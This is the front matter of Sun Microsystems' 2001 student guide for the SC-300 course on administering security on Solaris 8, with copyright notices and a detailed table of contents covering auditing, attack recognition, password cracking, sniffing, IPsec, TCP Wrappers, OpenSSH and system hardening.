SC-300 Administering Security On The Solaris 8 Operating Environment

Sun Microsystems, Inc.
UBRM05-104
500 Eldorado Blvd.
Broomeld, CO 80021
U.S.A.
Revision C, August 2001
Administering Security on the
Solaris 8 Operating
Environment
SC-300
Student Guide
Please
Recycle
Copyright 2001 Sun Microsystems, Inc., 901 San Antonio Road, Palo Alto, California 94303, U.S.A. All rights reserved.
This product or document is protected by copyright and distributed under licenses restricting its use, copying, distribution, and
decompilation. No part of this product or document may be reproduced in any form by any means without prior written authorization of
Sun and its licensors, if any.
Third-party software, including font technology, is copyrighted and licensed from Sun suppliers.
Parts of the product may be derived fromBerkeley BSDsystems, licensed fromthe University of California. UNIX is a registered trademark
in the U.S. and other countries, exclusively licensed through X/Open Company, Ltd.
Sun, Sun Microsystems, the Sun Logo, SunDocs, EJB, Enterprise JavaBeans, Forte Fusion, Java, Java 2 Platform, Enterprise Edition, Java API
for XML Parsing, Java Authentication and Authorization Service, JavaBeans, Java Community Process, JavaMail, Java Message Service,
JavaOne, JavaScript, Java Secure Socket Extension, JavaServer, JavaServer Pages, Java Virtual Machine, Java Web Server, J2EE, JDBC, JDK,
JSP, JVM, Solaris, and SunNet Manager are trademarks or registered trademarks of Sun Microsystems, Inc. in the U.S. and other countries.
All SPARC trademarks are used under license and are trademarks or registered trademarks of SPARC International, Inc. in the U.S. and
other countries. Products bearing SPARC trademarks are based upon an architecture developed by Sun Microsystems, Inc.
Netscape is a trademark or registered trademark of Netscape Communications Corporation in the United States and other countries.
Netscape Navigator is a trademark or registered trademark of Netscape Communications Corporation in the United States and other
countries.
U.S. Government approval required when exporting the product.
RESTRICTED RIGHTS: Use, duplication, or disclosure by the U.S. Government is subject to restrictions of FAR 52.227-14(g) (2)(6/87) and
FAR 52.227-19(6/87), or DFAR 252.227-7015 (b)(6/95) and DFAR 227.7202-3(a).
DOCUMENTATION IS PROVIDED AS IS AND ALL EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS, AND
WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR
NON-INFRINGEMENT, ARE DISCLAIMED, EXCEPT TO THE EXTENT THAT SUCH DISCLAIMERS ARE HELD TO BE LEGALLY
INVALID.
Please
Recycle
Copyright 2001 Sun Microsystems Inc., 901 San Antonio Road, Palo Alto, California 94303, Etats-Unis. Tous droits rservs.
Ce produit ou document est protg par un copyright et distribu avec des licences qui en restreignent lutilisation, la copie, la distribution,
et la dcompilation. Aucune partie de ce produit ou document ne peut tre reproduite sous aucune forme, par quelque moyen que ce soit,
sans lautorisation pralable et crite de Sun et de ses bailleurs de licence, sil y en a.
Le logiciel dtenu par des tiers, et qui comprend la technologie relative aux polices de caractres, est protg par un copyright et licenci
par des fournisseurs de Sun.
Des parties de ce produit pourront tre drives du systmes Berkeley 4.3 BSDlicencis par lUniversit de Californie. UNIXest une marque
dpose aux Etats-Unis et dans dautres pays et licencie exclusivement par X/Open Company Ltd.
Sun, Sun Microsystems, the Sun Logo, SunDocs, EJB, Enterprise JavaBeans, Forte Fusion, Java, Java 2 Platform, Enterprise Edition, Java API
for XML Parsing, Java Authentication and Authorization Service, JavaBeans, Java Community Process, JavaMail, Java Message Service,
JavaOne, JavaScript, Java Secure Socket Extension, JavaServer, JavaServer Pages, Java Virtual Machine, Java Web Server, J2EE, JDBC, JDK,
JSP, JVM, Solaris, et SunNet Manager sont des marques de fabrique ou des marques dposes de Sun Microsystems, Inc. aux Etats-Unis et
dans dautres pays.
Toutes les marques SPARC sont utilises sous licence sont des marques de fabrique ou des marques dposes de SPARC International, Inc.
aux Etats-Unis et dans dautres pays.
Netscape est une marque de Netscape Communications Corporation aux Etats-Unis et dans d'autres pays.
Netscape Navigator est une marque de Netscape Communications Corporation aux Etats-Unis et dans dautres pays.
Les produits portant les marques SPARC sont bass sur une architecture dveloppe par Sun Microsystems, Inc.
LA DOCUMENTATION EST FOURNIE EN LETAT ET TOUTES AUTRES CONDITIONS, DECLARATIONS ET GARANTIES
EXPRESSES OU TACITES SONT FORMELLEMENT EXCLUES, DANS LA MESURE AUTORISEE PAR LA LOI APPLICABLE, Y
COMPRIS NOTAMMENT TOUTE GARANTIE IMPLICITE RELATIVE A LA QUALITE MARCHANDE, A LAPTITUDE A UNE
UTILISATION PARTICULIERE OU A LABSENCE DE CONTREFAON.
v
Copyright 2001 Sun Microsystems, Inc. All Rights Reserved. Enterprise Services, Revision C
Table of Contents
About This Course .................................................................Preface-i
Course Goals............................................................................ Preface-i
Course Map.............................................................................. Preface-ii
Module-by-Module Overview.............................................Preface-iii
Course Objectives................................................................... Preface-vi
Topics Not Covered..............................................................Preface-vii
How Prepared Are You?.................................................... Preface-viii
Introductions .......................................................................... Preface-ix
How to Use Course Materials ............................................... Preface-x
Course Icons and Typographical Conventions ................. Preface-xi
Icons ................................................................................ Preface-xi
Typographical Conventions ....................................... Preface-xii
Security Overview ............................................................................1-1
Objectives ........................................................................................... 1-1
Relevance............................................................................................. 1-2
Additional Resources ........................................................................ 1-3
Tool Downloads ........................................................................ 1-3
Understanding Security................................................................... 1-4
Security and UNIX
................................................................. 1-5
Examples of Break-Ins....................................................................... 1-8
Chronology of a Host Compromise ....................................... 1-8
Western Union........................................................................... 1-9
Nuclear Power Station............................................................ 1-10
Travelocity ............................................................................... 1-10
FTP Server ................................................................................ 1-10
Yahoo! Web Server.................................................................. 1-11
Security Terminology..................................................................... 1-12
The Orange Book............................................................................. 1-14
Common Terms....................................................................... 1-16
Types of Security Attacks .............................................................. 1-21
Fraud and Theft....................................................................... 1-21
Terrorism and Sabotage ......................................................... 1-22
Privacy Violation..................................................................... 1-22
vi Administering Security on the Solaris8 Operating Environment
Publicity Attacks ..................................................................... 1-23
Denial of Service...................................................................... 1-24
Natural Causes and Environmental Influences.................. 1-24
Frequency of Security Attacks ....................................................... 1-25
Security Attacks Are Rare Or Are They?.......................... 1-26
Understanding Your Attackers..................................................... 1-28
Motivations of an Attacker .................................................... 1-30
Other Types of Attackers ....................................................... 1-31
Hackers..................................................................................... 1-32
Script Kiddies .......................................................................... 1-33
Terrorists .................................................................................. 1-33
Criminals .................................................................................. 1-33
Employees ................................................................................ 1-34
Top Enterprise-Wide Attacks................................................ 1-34
Running an Intrusion Detection System...................................... 1-36
Burglar Alarms and Honey Pots........................................... 1-37
Running Dummy Attacks...................................................... 1-38
Vulnerability Scanners ........................................................... 1-38
Security Policy................................................................................. 1-39
Purpose and Use of a Security Policy .................................. 1-41
Creating a Security Policy...................................................... 1-42
Using Third-Party Security Tools................................................. 1-43
Installation of Third-Party Tools .......................................... 1-44
Security Issues With Third-Party Tools............................... 1-46
Site Policy for Security Tools......................................................... 1-47
Exercise: Considering Security Issues........................................... 1-49
Task Example Security Attacks.......................................... 1-49
Task Security Policy............................................................. 1-49
Task System Configuration ................................................ 1-50
Exercise Summary............................................................................ 1-54
Exercise Solutions ............................................................................ 1-55
Example Security Attacks ...................................................... 1-55
Security Policy......................................................................... 1-55
System Configuration............................................................. 1-55
Using Solaris OE Log Files ......................................................... 2-1
Objectives ........................................................................................... 2-1
Relevance............................................................................................. 2-2
Tool Downloads ........................................................................ 2-3
Solaris OE Logging Files ................................................................... 2-4
Using /var/adm/lastlog Files.............................................. 2-5
Using /var/adm/loginlog Files ........................................... 2-6
Using utmpx and wtmpx Log Files .......................................... 2-6
Using the sulog File................................................................. 2-7
Using /var/adm/messages Files ........................................... 2-7
vii
The System Logging Facility ........................................................... 2-8
Configuring the Syslog Utility................................................ 2-9
Why Use Centralized Logging?............................................ 2-13
The logger Utility .................................................................. 2-15
Using the swatch Tool ........................................................... 2-16
Solaris OE Monitoring Tools .......................................................... 2-23
Process Monitoring Using the top Tool ...................................... 2-25
The Solaris OE Accounting Package ............................................ 2-27
Why Use the Accounting Package?...................................... 2-28
Process Accounting................................................................. 2-29
Working With the Accounting Package .............................. 2-30
Setting Up Accounting........................................................... 2-35
Exercise: Using Logging as a Security Tool ................................. 2-38
Preparation............................................................................... 2-38
Tasks ......................................................................................... 2-38
Task Sample sulog Commentary File .............................. 2-38
Task Studying Processes .................................................... 2-39
Task Enabling the Syslog Facility to Report su
Command Activity .............................................................. 2-40
Task Enabling the Syslog Facility to Report Failed
Login Activity....................................................................... 2-40
Task Enabling ftp to Report Logins ................................. 2-40
Task Using the swatch Tool ............................................... 2-41
Task Starting Process Accounting ..................................... 2-43
Sample sulog Commentary File .......................................... 2-46
Studying Processes ................................................................. 2-47
Enabling the Syslog Facility to Report su Command
Activity .................................................................................. 2-48
Enabling the Syslog Facility to Report Failed Login
Activity .................................................................................. 2-48
Enabling ftp to Report Logins ............................................. 2-49
Using the swatch Tool ........................................................... 2-49
Starting Process Accounting.................................................. 2-49
The Solaris OE Basic Security Module...........................................3-1
Objectives ........................................................................................... 3-1
Relevance............................................................................................. 3-2
Solaris OE Basic Security Module Auditing ................................. 3-4
Identifying Major BSM Components ..................................... 3-6
Enabling BSM.......................................................................... 3-11
Disabling BSM......................................................................... 3-13
viii Administering Security on the Solaris8 Operating Environment
Creating an Audit Trail Using BSM............................................. 3-14
Setting Audit Flags ................................................................. 3-14
Generating an Audit Trail...................................................... 3-22
Interpreting and Filtering Audit Data ......................................... 3-26
Filtering Audit Data Using the auditreduce
Command.............................................................................. 3-26
Formatting Audit Data Using the praudit
Command.............................................................................. 3-28
Controlling the auditd Daemon Using the audit
Command.............................................................................. 3-29
Implementing BSM Device Management.................................... 3-30
Configuring BSM Device Management ............................... 3-31
Interpreting the /etc/security/device_maps File ........ 3-32
Interpreting the /etc/security/device_allocate
File.......................................................................................... 3-34
The Device-Clean Scripts ....................................................... 3-36
Authorizing Users to Access Devices .................................. 3-37
Device Allocation and De-Allocation .................................. 3-39
Managing Devices Using BSM.............................................. 3-40
Exercise: Using the Basic Security Module .................................. 3-42
Preparation............................................................................... 3-42
Tasks ......................................................................................... 3-42
Task Installing and Configuring BSM............................... 3-42
Task Monitoring Audit Data.............................................. 3-43
Task Securing a Peripheral Device.................................... 3-44
Task Disabling BSM Auditing............................................ 3-46
Installing and Configuring BSM........................................... 3-48
Monitoring Audit Data .......................................................... 3-48
Securing a Peripheral Device ................................................ 3-48
Disabling BSM Auditing........................................................ 3-48
Security Attacks............................................................................... 4-1
Objectives ........................................................................................... 4-1
Relevance............................................................................................. 4-2
Recognizing Trojan Horses.............................................................. 4-4
Example Trojan Horses ............................................................ 4-5
Identifying Back Doors................................................................... 4-12
Recognizing Common UNIX Back Doors ........................... 4-13
Using Devices to Create a Back Door................................... 4-15
Detecting and Preventing Trojan Horse and Back Door
Attacks .............................................................................................. 4-18
The Solaris OE Fingerprint Database................................... 4-18
TripWire ................................................................................... 4-19
ix
Checklists, File Digests, and Checksums............................. 4-19
The BSM Audit Trail............................................................... 4-19
Using the find Command..................................................... 4-20
Preventing Trojan Horse and Back Door Attacks .............. 4-22
Rootkits Understanding How Attackers Use Them............... 4-24
Installing Back Doors and Trojan Horses............................ 4-25
Detecting Rootkit Use............................................................. 4-26
Kernel Rootkits........................................................................ 4-28
Identifying Denial of Service Attacks .......................................... 4-30
Malicious DoS Attacks ........................................................... 4-31
Preventing DoS Attacks ......................................................... 4-33
Recognizing Causes of Accidental DoS............................... 4-34
Exercise: Detecting Trojan Horses and Back Doors .................... 4-35
Task Detecting Trojan Horses and Back Doors ............... 4-35
Detecting Trojan Horses and Back Doors............................ 4-37
Administering User Accounts Securely.........................................5-1
Objectives ........................................................................................... 5-1
Relevance............................................................................................. 5-2
Administering Regular Users.......................................................... 5-4
Determining User and Group IDs .......................................... 5-4
Implications of Duplicate User IDs ........................................ 5-5
Selecting and Creating Groups and Group IDs (GIDs)....... 5-7
Customizing Default Profiles.................................................. 5-8
Setting Accounts to Expire..................................................... 5-11
Administering Superuser Accounts............................................. 5-13
Restricting Root Logins.......................................................... 5-14
Securing Guest Accounts ............................................................... 5-15
Protecting Dormant Accounts....................................................... 5-17
Deleting Dormant Accounts.................................................. 5-19
Checking User Security................................................................... 5-21
Configuring the /etc/default/su File.............................. 5-21
Classifying Non-Login Accounts.................................................. 5-22
Restricting Functionality Using a Non-Login Shell ........... 5-24
Limiting User Options With Restricted Shells............................ 5-27
Assessing the Limitations Enforced by Restricted
Shells ...................................................................................... 5-28
Configuring a Restricted Shell .............................................. 5-29
x Administering Security on the Solaris8 Operating Environment
Exercise: Securing Guest and Restricted Accounts..................... 5-36
Preparation............................................................................... 5-36
Tasks ......................................................................................... 5-36
Task Creating a Guest Account With Automatic
Expiration.............................................................................. 5-36
Task Configuring a Restricted User Account .................. 5-37
Creating a Guest Account With Automatic
Expiration.............................................................................. 5-39
Configuring a Restricted User Account............................... 5-39
Password Security........................................................................... 6-1
Objectives ........................................................................................... 6-1
Relevance............................................................................................. 6-2
Passwords ........................................................................................... 6-4
Revisiting the Password and Shadow Files .......................... 6-4
The /etc/passwd File .............................................................. 6-5
The /etc/shadow File .............................................................. 6-7
Setting a Password Policy........................................................ 6-9
Choosing Good Passwords.................................................... 6-11
Revisiting the passwd Command......................................... 6-15
Configuring Password Aging ............................................... 6-16
Configuring Default Password Aging................................. 6-18
Checking for Accounts With No Password ........................ 6-19
Using Password Generators .................................................. 6-21
One-Time Passwords.............................................................. 6-23
Cracking Password Programs....................................................... 6-25
Cracking Passwords Using the crack Tool ................................. 6-26
Using the crack Tool to Find Weak Passwords................ 6-27
Installing and Running the crack Tool.............................. 6-28
Tools for Setting Good Passwords ............................................... 6-29
Exercise: Securing Passwords ........................................................ 6-30
Preparation............................................................................... 6-30
Tasks ......................................................................................... 6-30
Task Installing and Configuring the crack Tool ............ 6-30
Task Running the crack Tool Against the System
Passwords ............................................................................. 6-31
Task Using the crack Tool to Check Favorite
Passwords ............................................................................. 6-32
xi
Installing and Configuring the crack Tool......................... 6-34
Running the crack Tool Against the System
Passwords ............................................................................. 6-34
Using the crack Tool to Check Favorite Passwords ......... 6-35
Securing Root Access .....................................................................7-1
Objectives ........................................................................................... 7-1
Relevance............................................................................................. 7-2
Tool Downloads ........................................................................ 7-3
Controlling Root Access................................................................... 7-4
Solaris OE Role Based Access Control (RBAC) ............................ 7-5
Understanding RBAC Concepts ............................................. 7-6
Configuring RBAC Profiles ..................................................... 7-8
Adding RBAC Profiles ........................................................... 7-10
Using RBAC Roles and Profiles ............................................ 7-11
Assigning Roles and Profiles................................................. 7-15
Assuming a Role ..................................................................... 7-17
Evaluating RBAC.................................................................... 7-18
The sudo Utility............................................................................... 7-20
Using the sudo Utility ............................................................ 7-21
Introducing sudo Tickets ....................................................... 7-23
Configuring the sudo Utility................................................. 7-24
The sudoers Format............................................................... 7-25
Using Aliases ........................................................................... 7-27
Using Defaults ......................................................................... 7-29
Logging sudo Activity............................................................ 7-31
Security Implications of Using the sudo Utility................. 7-33
Evaluating the sudo Utility ................................................... 7-35
Exercise: Controlling Root Access ................................................. 7-36
Preparation............................................................................... 7-36
Tasks ......................................................................................... 7-36
Task Installing and Configuring the sudo Utility........... 7-36
Task Configuring RBAC..................................................... 7-37
Installing and Configuring the sudo Utility ....................... 7-39
Configuring RBAC.................................................................. 7-40
xii Administering Security on the Solaris8 Operating Environment
File System Attacks......................................................................... 8-1
Objectives ........................................................................................... 8-1
Relevance............................................................................................. 8-2
Guidelines for Setting Up the root Partition ............................... 8-4
Preventing Users From Filling the /tmp File ........................ 8-5
Using Temporary File Systems ............................................... 8-6
Preventing DoS Due to Limited Swap Space........................ 8-8
Setting File System Permissions for Security............................... 8-10
Files Permissions..................................................................... 8-11
Directory Permissions ............................................................ 8-12
Permission Categories............................................................ 8-13
Review File Permissions ........................................................ 8-15
Implications of Lax Permissions ........................................... 8-17
Preventing Lax Permissions Using the umask Setting....... 8-18
Checking File Permissions..................................................... 8-19
Set-User-ID and Set-Group-ID Files............................................. 8-20
Identifying and Changing SUID and SGID Bits................. 8-22
Setting Sticky Bits and SGID on Directories................................. 8-24
Using Sticky Directories......................................................... 8-25
Setting SGID Directories ........................................................ 8-27
Securing Files Using Access Control Lists .................................. 8-29
Using the getfacl and setfacl Commands .................... 8-31
Deleting ACL Entries.............................................................. 8-37
Encrypting Data ............................................................................... 8-38
The crypt Command............................................................. 8-39
Securing Device Files...................................................................... 8-41
Unauthorized Device Files .................................................... 8-42
Guidelines for Protecting Systems Using Backups.................... 8-43
Restoring Data......................................................................... 8-47
Exercise: Securing File Systems...................................................... 8-48
Preparation............................................................................... 8-48
Tasks ......................................................................................... 8-48
Task Creating ACLs............................................................. 8-48
Task Creating a Group-Shared Directory......................... 8-49
Task Creating File System Hardening Checklist............. 8-50
Creating ACLs ......................................................................... 8-52
Creating a Group-Shared Directory..................................... 8-54
Creating a File System Hardening Checklist ...................... 8-57
Auditing File Systems ..................................................................... 9-1
Objectives ........................................................................................... 9-1
Relevance............................................................................................. 9-2
xiii
What Is Auditing?............................................................................. 9-4
Auditing Techniques ................................................................ 9-6
Using Audits to Detect Successful Security Attacks............ 9-8
File Digests and Checksums.................................................... 9-9
Checksum Algorithms ........................................................... 9-10
File Digest Algorithms ........................................................... 9-11
The Solaris OE Fingerprint Database................................... 9-13
Using TripWire to Audit File Systems......................................... 9-15
Obtaining the TripWire Tool................................................. 9-16
Editing the TripWire Configuration File ............................. 9-17
Configuration Templates ....................................................... 9-20
Generating a TripWire Database .......................................... 9-21
Checking a TripWire Database ............................................. 9-23
Identifying Inconsistencies .................................................... 9-24
Updating the Database........................................................... 9-25
Double-Checking Integrity.................................................... 9-25
Securing the TripWire Database................................................... 9-27
Exercise: Using the TripWire Tool................................................. 9-29
Preparation............................................................................... 9-29
Task Installing TripWire ..................................................... 9-29
Task Creating a TripWire Configuration ......................... 9-30
Task Running System Integrity Checks............................ 9-31
Installing TripWire.................................................................. 9-34
Creating a TripWire Configuration...................................... 9-36
Running System Integrity Checks ........................................ 9-37
Attacking Network Data .................................................................10-1
Objectives ......................................................................................... 10-1
Relevance........................................................................................... 10-2
Additional Resources ...................................................................... 10-3
Network Sniffing............................................................................. 10-4
Implications of Sniffing.......................................................... 10-6
How Sniffers Work ................................................................. 10-7
Detecting Sniffers .................................................................... 10-8
Defending Against Network Sniffers................................. 10-10
Network Sniffing Tools................................................................ 10-11
The snoop Utility .................................................................. 10-12
The snoop Options................................................................ 10-14
The snoop Packet Filters ...................................................... 10-17
The dsniff Utility ................................................................ 10-20
Running the dsniff Utility................................................. 10-21
Network Service Attacks.............................................................. 10-25
Packet Replay Attacks .......................................................... 10-26
Vulnerabilities of the sendmail Program......................... 10-28
xiv Administering Security on the Solaris8 Operating Environment
Buffer Overflow Attacks ...................................................... 10-30
Web (HTTP) Servers ............................................................. 10-32
Network Denial of Service Attacks .................................... 10-33
Types of Network Denial of Service Attacks .................... 10-35
TCP SYN Flood Attack......................................................... 10-35
Ping of Death Attack ............................................................ 10-38
Smurf Attack.......................................................................... 10-39
Smurf Countermeasures ...................................................... 10-41
Recognizing Network Attacks ............................................ 10-42
Port Scanning Using the nmap Utility ................................ 10-43
Host Information From the nmap Utility ........................... 10-45
Exercise: Using Network Sniffing................................................ 10-47
Preparation............................................................................. 10-47
Tasks ....................................................................................... 10-47
Task Using the snoop Utility to Sniff Network
Traffic................................................................................... 10-47
Task Installing the dsniff Utility ................................... 10-48
Task Using the dsniff Utility ......................................... 10-48
Exercise Summary.......................................................................... 10-49
Exercise Solutions .......................................................................... 10-50
Using the snoop Utility to Sniff Network Traffic............. 10-50
Installing the dsniff Utility................................................ 10-50
Using the dsniff Utility...................................................... 10-50
Securing Network Data.................................................................. 11-1
Objectives ......................................................................................... 11-1
Relevance........................................................................................... 11-2
Implementing Secure Communication Using SSL..................... 11-4
The Open SSL Project ............................................................. 11-5
Defining the SSL............................................................................... 11-6
Properties of SSL..................................................................... 11-7
Simplifying SSL Using the stunnel Program.................... 11-8
How Secure Is the SSL?........................................................ 11-10
Understanding the IP Security Architecture (IPsec)................ 11-12
Configuring IPsec Security Associations........................... 11-13
Adding IPsec Keys................................................................ 11-14
Configuring IPsec Policies .................................................. 11-17
Using the ipsecconf utility to Configure IPsec .............. 11-18
Syntax for the IPsec Configuration File ............................. 11-20
Rules for Parsing the Configuration File ........................... 11-23
Example IPsec Configurations ............................................ 11-24
Security Considerations With IPsec ................................... 11-26
xv
Using the SunScreen SKIP Utility........................................... 11-27
Configuring the SKIP Utility............................................... 11-28
Working With SKIP .............................................................. 11-30
Using Clear Text.................................................................... 11-31
Exercise: Configuring and Using IPsec....................................... 11-32
Preparation............................................................................. 11-32
Tasks ....................................................................................... 11-32
Task Configuring IPsec ..................................................... 11-33
Task Configuring IPsec Encryption ................................ 11-33
Task Configuring IPsec Authentication.......................... 11-35
Task Authenticating All Hosts With IPsec..................... 11-36
Task Using IPsec AH and ESP With All Hosts.............. 11-36
Task Removing IPsec......................................................... 11-37
Configuring IPsec.................................................................. 11-39
Configuring IPsec Encryption............................................. 11-40
Configuring IPsec Authentication...................................... 11-40
Authenticating All Hosts With IPsec ................................. 11-40
Using IPsec AH and ESP With All Hosts .......................... 11-41
Removing IPsec ..................................................................... 11-41
Analyzing Network Services..........................................................12-1
Objectives ......................................................................................... 12-1
Relevance........................................................................................... 12-2
Tool Downloads ...................................................................... 12-3
Applying SAINT to Improve Network Security........................ 12-4
Assessing the Capabilities of SAINT.................................... 12-6
Comparing SAINT and SATAN........................................... 12-7
Installing and Using SAINT.......................................................... 12-8
Understanding How SAINT Works................................... 12-10
Using the SAINT Graphical User Interface....................... 12-12
Defining SAINT Data Management................................... 12-14
Setting SAINT Target Selection .......................................... 12-15
Defining the Level of Attack ............................................... 12-16
Allowing for Firewalls ......................................................... 12-17
Running a SAINT Scan......................................................... 12-18
Configuring SAINT ....................................................................... 12-21
Setting the Attack Level ....................................................... 12-22
Configuring Probes by Attack Level .................................. 12-23
Setting the Level of Password Guessing............................ 12-25
Setting Time-Outs ................................................................. 12-27
Determining Values for Proximity Variables.................... 12-28
xvi Administering Security on the Solaris8 Operating Environment
Interpreting SAINT Reports ......................................................... 12-31
Reporting Vulnerabilities by Type ..................................... 12-31
Reporting Potential Problems ............................................. 12-32
Detecting Network Analyzer Attacks........................................ 12-33
Detecting Attacks Using Courtney..................................... 12-34
Obtaining and Installing Courtney .................................... 12-35
Using Courtney ..................................................................... 12-36
Exercise: Using SAINT and Courtney......................................... 12-37
Preparation............................................................................. 12-37
Task Installing SAINT....................................................... 12-37
Task Running a SAINT Attack......................................... 12-38
Task Running SAINT From the Command Line........... 12-38
Task Installing Courtney................................................... 12-38
Task Using Courtney to Detect Attacks.......................... 12-39
Installing SAINT ................................................................... 12-41
Running a SAINT Attack..................................................... 12-41
Running SAINT From the Command Line....................... 12-42
Installing Courtney............................................................... 12-42
Using Courtney to Detect Attacks...................................... 12-42
Security Network Services............................................................ 13-1
Objectives ......................................................................................... 13-1
Relevance........................................................................................... 13-2
Restricting Network Services ........................................................ 13-4
FTP Users ................................................................................. 13-7
Defending Network Services ........................................................ 13-8
Non-Standard Port Numbers................................................ 13-9
Dummy Services ..................................................................... 13-9
Berkeley r Commands ................................................................. 13-10
Trusted Hosts ........................................................................ 13-12
Determining Trusted Access ............................................... 13-15
Trusted Hosts Good or Bad? ............................................ 13-17
Securing Services With The chroot Command....................... 13-19
When to Use the chroot Command.................................. 13-20
How to Use the chroot Command.................................... 13-20
Anonymous FTP .................................................................. 13-22
Pluggable Authentication Module (PAM) ................................ 13-25
PAM Runtime Modules ....................................................... 13-26
PAM Configuration File....................................................... 13-29
PAM Control Flags ............................................................... 13-31
Deploying PAM .................................................................... 13-35
Adding a PAM Module........................................................ 13-36
Disabling Remote Access Using PAM............................... 13-38
xvii
Initiating PAM Error Reporting.......................................... 13-40
Sun Enterprise Authentication Mechanism (SEAM) ................ 13-42
Enhancing Security Using Kerberos v5 ............................. 13-42
Logging in Using Kerberos v5 ............................................ 13-44
Kerberos Features ................................................................. 13-45
Understanding Kerberos Limitations ........................................ 13-47
Configuring SEAM Clients.................................................. 13-49
Exercise: Securing Network Services .......................................... 13-51
Preparation............................................................................. 13-51
Tasks ....................................................................................... 13-51
Task Disabling Network Services.................................... 13-51
Task Understanding Trusted Hosts ................................ 13-52
Task Configuring Trusted Hosts ..................................... 13-53
Task Disabling Trusted Hosts .......................................... 13-53
Task Configuring Anonymous FTP ................................ 13-53
Disabling Network Services ................................................ 13-55
Understanding Trusted Hosts............................................. 13-55
Configuring Trusted Hosts.................................................. 13-56
Disabling Trusted Hosts ...................................................... 13-57
Configuring Anonymous FTP............................................. 13-57
Hardening the System....................................................................14-1
Objectives ......................................................................................... 14-1
Relevance........................................................................................... 14-2
System Hardening .......................................................................... 14-4
Commonly Available Hardening Tools............................... 14-5
COPS......................................................................................... 14-6
Tiger .......................................................................................... 14-8
Solaris Security Toolkit .......................................................... 14-9
Using Titan..................................................................................... 14-11
Titan Design Goals................................................................ 14-12
Using Titan Modules ............................................................ 14-13
Configuring Titan ................................................................. 14-18
Running Titan........................................................................ 14-19
Creating a Titan Configuration........................................... 14-20
Running a Single Module .................................................... 14-21
Writing Your Own Titan Modules ..................................... 14-22
Module Structure .................................................................. 14-23
Enhancing System Security Using ASET................................... 14-26
Using ASET Security Levels................................................ 14-27
Running ASET Manually..................................................... 14-29
Restoring the System............................................................ 14-32
Monitoring Task Status ........................................................ 14-32
xviii Administering Security on the Solaris8 Operating Environment
Running ASET Periodically................................................. 14-33
Interpreting ASET Reports .................................................. 14-35
Confirming Security Improvements Using the aset
Command............................................................................ 14-36
Interpreting and Configuring the tune.* Files................ 14-36
Exercise: Hardening the System.................................................. 14-39
Preparation............................................................................. 14-39
Tasks ....................................................................................... 14-39
Task Installing and Configuring Titan............................ 14-39
Task Using Titan to Report on Security Problems ........ 14-40
Task Creating and Running a Titan Configuration ...... 14-41
Task Running ASET Interactively ................................... 14-41
Task Configuring ASET Periodically.............................. 14-42
Installing and Configuring Titan........................................ 14-44
Using Titan to Report on Security Problems .................... 14-44
Creating and Running a Titan Configuration................... 14-44
Running ASET Interactively................................................ 14-46
Configuring ASET Periodically .......................................... 14-48
Authenticating Network Services................................................. 15-1
Objectives ......................................................................................... 15-1
Relevance........................................................................................... 15-2
Understanding Network Authentication.................................... 15-4
Using TCP Wrappers...................................................................... 15-6
Obtaining and Installing TCP Wrappers............................ 15-8
Configuring TCP Wrappers ........................................................... 15-9
Installing Hidden TCP Wrappers....................................... 15-10
Installing Visible TCP Wrappers ........................................ 15-11
Checking TCP Wrappers Configuration .......................... 15-12
Configuring Client Access Logging ........................................... 15-14
Configuring Host Access Control............................................... 15-16
Access File Format ................................................................ 15-17
Using Banners With TCP Wrappers........................................... 15-19
Building Banner Files ........................................................... 15-21
Customizing a Banner Message.......................................... 15-22
Using Banners Without TCP Wrappers..................................... 15-24
Using TCP Wrappers to Spawn Commands ............................ 15-25
Checking Host Access Configuration........................................ 15-27
Exercise: Authenticating Network Services............................... 15-29
Preparation............................................................................. 15-29
Tasks ....................................................................................... 15-29
Task Installing TCP Wrappers ......................................... 15-29
Task Enabling Logging for telnet Connections .......... 15-30
xix
Task Denying Access to Specific Hosts........................... 15-30
Task Configuring TCP Wrappers to Warn of Denied
telnet Access .................................................................... 15-30
Task Configuring TCP Wrappers to Deny Access
to All Hosts Except Those Specified................................ 15-30
Task Removing Host Access Control.............................. 15-31
Installing TCP Wrappers ..................................................... 15-33
Enabling Logging for telnet Connections....................... 15-33
Denying Access to Specific Hosts....................................... 15-34
Configuring TCP Wrappers to Warn of Denied
telnet Access .................................................................... 15-35
Configuring TCP Wrappers to Deny Access to
All Hosts Except Those Specified.................................... 15-36
Removing Host Access Control .......................................... 15-36
Securing Remote Access ..............................................................16-1
Objectives ......................................................................................... 16-1
Relevance........................................................................................... 16-2
Identifying the Benefits of the Secure Shell................................. 16-4
OpenSSH Tools........................................................................ 16-6
Using Encryption and Compression.................................... 16-8
Security Benefits of Server Authentication ......................... 16-9
Client Authentication........................................................... 16-11
Forwarding TCP/IP Ports Using OpenSSH...................... 16-12
Copying Files and Executing Commands ......................... 16-14
Benefits of the Password Agent .......................................... 16-15
Configuring the OpenSSH Server............................................... 16-16
Creating the Host Key.......................................................... 16-19
Starting the Secure Shell Daemon....................................... 16-21
Installing the Secure FTP Server ......................................... 16-22
Using OpenSSH Clients ............................................................... 16-23
Determining Known Hosts.................................................. 16-25
Generating Client Keys ........................................................ 16-27
Granting Access to Other Users.......................................... 16-29
Using OpenSSH With RSA Authentication ...................... 16-30
Using the ssh-agent Program........................................... 16-31
Using the Secure FTP Client ................................................ 16-33
Configuring the Client ......................................................... 16-35
Exercise: Using Secure Shell ......................................................... 16-38
Preparation............................................................................. 16-38
Task Using Secure Shell .................................................... 16-38
Task Installing OpenSSH.................................................. 16-38
Task Using OpenSSH........................................................ 16-38
xx Administering Security on the Solaris8 Operating Environment
Task Checking Secure Shell Encryption ......................... 16-39
Task Configuring Client Keys.......................................... 16-40
Task Using the ssh-agent Program............................... 16-40
Installing OpenSSH .............................................................. 16-42
Using OpenSSH..................................................................... 16-42
Checking Secure Shell Encryption...................................... 16-44
Configuring Client Keys ...................................................... 16-46
Using the ssh-agent Program........................................... 16-47
Securing Physical Access ............................................................ 17-1
Objectives ......................................................................................... 17-1
Relevance........................................................................................... 17-2
Assessing the Risk From Physical Intrusion............................... 17-4
Physical Intrusion Solutions.................................................. 17-5
Types of Physical Intrusion................................................... 17-6
Securing IT Equipment .......................................................... 17-8
Implementing Physical Network Security ........................ 17-10
Securing Network Infrastructure........................................ 17-11
Appraising the Risk of Eavesdropping.............................. 17-13
Using Encryption .................................................................. 17-15
Strengthening Help Desk Processes................................... 17-17
User Authentication Techniques ........................................ 17-18
Applying Physical Security Measures ........................................ 17-20
